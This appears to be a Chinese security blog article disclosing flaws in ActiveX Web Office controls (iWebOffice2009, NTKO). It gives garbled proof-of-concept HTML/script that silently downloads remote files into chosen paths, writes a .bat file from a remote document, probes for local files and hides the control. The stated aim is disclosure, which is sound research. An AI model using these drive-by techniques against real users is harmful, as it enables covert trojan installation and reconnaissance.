探索黑客技术攻防,实战研究与安全创新

导航菜单

Web Office控件漏洞大曝光

Web Office控件广泛用于办公自动化软件当中,如各类B/S模式的OA(办公自动化系统)。现如今,政府、企业当中使用办公自动化软件的程度越来越高,大量的应用集中在对Office文档的在线处理任务上,于是,Web Office控件就成了香饽饽。Web Office控件主要区分为服务器端和客户端两种,我们这里集中研究了一些客户端方面的Web Office控件,因为这一类控件主要是安装在用户方,使用者数量较大,一旦出现安全隐患,危害范围较广。在研究中,我们选取了百度中能够查询到的,一些较为知名的Web Office控件作为案例,发现不少安全漏洞,这里拿出来与读者一起分享,只为讨论安全技术。

国内专注于Web Office以及安全签名方面的公司,知名度较高。从其官方网站上下载了“e2009全文批注”组件,该组件包中包含了客户端的Web Office控件,我们成功注册该控件到系统后,利用COMRaider查看控件提供的外部接口,数量居多,如图1所示。

图片31.png

在查看这些外部接口的过程中,我们发现了一些有趣的名称:WebDownLoadFile、WebGetFile、WebFTPGetFile,这些外部接口名称都与网络有关系,我们猜测可以借助这些接口来实现远程对用户系统植入木马病毒程序。为了证明我们的猜测,现在利用WebDownLoadFile这个外部接口为研究对象,写一段测试代码,如下所示:

;object  id=“evil”

clas sid=“clsid:8823EA28-2009-402F-92C4-59BEOE063499”;;/object;

;script;

evil. WebDownLoadFile(“ht tp: //www.  baidu.  com/index.  htm;,;c:\\lll. Txt”):

;/script;

代码调用了WebDownLoadFile这个外部接口,第一个参数是需要远程下载的文件URL地址,第二个参数是本地保存被下载文件的完整路径名称。保存上述代码为“test. htm”文件,放置在本地或者远程搭建的Web服务环境当中,使用IE浏览器访问该网页后,我们发现了神奇的一幕,如图2所示。

图片32.png

到了吗?在我们本地C盘下多出来一个“111. txt”文件,该文件中就是百度首页的代码!这意味着,WebDownLoadFile这个外部接口确实可以完成远程下载任意文件到本地的任意目录,于是,一种攻击方式就产生了:在远程服务器上放置一个木马病毒程序,然后,制作网页代码调用WebDownLoadFile这个外部接口,第一个参数就为远程木马病毒程序的网址,第二个参数就是用户系统上的启动目录,这样一来,用户一旦访问该网页,木马病毒程序就会悄悄地植入用户系统当中,当用户再次启动计算机时,木马病毒就会被立即执行。

除此之外,我们发现“iWebOffice2009全文批注”组件包中提供的“WebOpenLocalFile”外部接口可以被恶意攻击者利用来判断用户系统中指定文件是否存在,起到攻击前的信息探测效果。我们编写一个简单的测试代码:

;oject  id=”evil”

clas sd=”clsid:8823EA28-2009-42F-92C4-59BEOE063499”;;/object;

; script ;cument. write (evil. WebOpenLocalFile(“c:\\lll. txt一)):;/script;

测试代码中使用“document. write”将“WebOpenLocalFile”外部接口的调用结果打印出来,这里我们试图让“WebOpenLocalFile”外部接口打开本地磁盘C分区上的“111. txt”文件,效果如图3所示。

图片33.png

在图3的底部右方,我们看到了一个英文单词“true”该单词意味着“WebOpenLocalFile”外部接口执行成功,也就是说本地磁盘C分区上的存在一个名为“111. txt”的文件。这种显示方式,可以被利用来判断用户系统中安装了哪些应用程序以及存在文件,做一个详细的循环判断就可以成功获取到用户系统上的信息。在图3中,我们发现浏览器中显示出了“金格科技iWebOffice”的一个窗口界面,这样的界面如果出现用户浏览器中有一些过于找人眼目,毕竟恶意攻击者需要隐蔽自己的攻击行为,为此,我们可以在代码中稍作修改来屏蔽这种显示,具体方法就是在“object”标签中插入“width=0height=0”。

分析完金格科技的iWebOffice,我们接下来看一看另外一家知名的Web Office控件一重庆软航科技的NTKO  Office控件。该公司对控件的开发可谓丰富,产品主要以电子印章和办公支持为主。我们在测试中发现,该公司提供的“NTKO Office文档控件企业版”存在一定安全隐患。举一个例子,该控件提供的两个外部接口:OpenFromURL和SaveAsOtherFormatFile可以被恶意攻击者利用。首先,我们看一看OpenFromURL这个外部接口,它的作用主要是在浏览器中打开远程服务器上的Office文档文件,如图4所示。

图片34.png

图4是我们利用OpenFromURL这个外部接口打开了一个远程服务器上的DOC文档。我们在想如果能够将DOC文档的内容保存在本地磁盘上,那么我们就有可能会实现在用户系统上植入木马病毒。于是,我们找到了

SaveAsOtherFormatFile这个外部接口,它的作用是将被打开的文档内容以指定的文件格式保存在本地磁盘当中。我们这里写了一段测试代码:

;ojct  id=;evil;

cas id=;clsid: A39F1330-3322-4AID-9BFO-OBA2BB90E970∥;;/object;

;script;

evl. OpenFromURL(;
http://127.0.0.l/test/l
. doc;):

evil. SaveAsOtherFormatFile (0,∥c:\\1.bat;):

;/script;

代码中先利用OpenFromURL打开一个远程DOC文档,接着将其保存到本地磁盘上,文件名为“1.bat”。原本我们以为,SaveAsOtherFormatFile会将DOC文档的整体保存为“1.bat”,但是,结果令我们十分兴奋。不信,我们将测试代码保存为任意网页,并将其放置在远程或者本地搭建的Web服务器上,现在,用IE浏览器访问该测试网页后,我们观察本地C盘下的文件,如图5所示。

图片35.png

图5中,我们看到此刻C盘下多出了一个名为“1.bat”的文件,而且其中内容为“Cmd”,要知道这个“Cmd”是我们在1.doc文件中保存的内容。真是完美的组合,SaveAsOtherFormatFile只将被打开文档中的内容保存到本地磁盘,而不是将这个文档数据保存。这样,我们只需要把攻击代码写入一个DOC文档,将这个DOC文档放置在任意远程服务器上,甚至可以直接借助一些论坛,直接当附件上传上去都可以,不需要单独的服务器。

然后,参照上面的测试代码,修改OpenFromURL的访问地址,就可以成功在用户系统上创建代码恶意性质的任意文件,将用户系统在神不知鬼不觉的过程中完全控制。

Web Office控件的漏洞不仅仅是上述这些,说它们是漏洞从严格意义上讲其实也不算,只是我们巧妙地利用了这些控件提供的一些正常的外部接口,经过组合、搭配完成了对用户系统的渗透。但是,从另外一方面将,正是这些Web Office控件的存在影响着用户系统的整体安全性。要知道,上述这样的漏洞利用方式,杀毒软件是不会发现的,因为它们防范的是传统意义上的heap spray网页木马。随着,办公自动化的发展,Web Office控件在日常办公中的地位还是占有一席重要的作用,它们的安全性也不能不考虑,尤其是在网络内部安全体系中。希望国内制作Web Office控件的各大公司,在看到这篇文章后,能够及时提高自身产品的安全性,提供出更完美、易用的产品。

本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。

相关推荐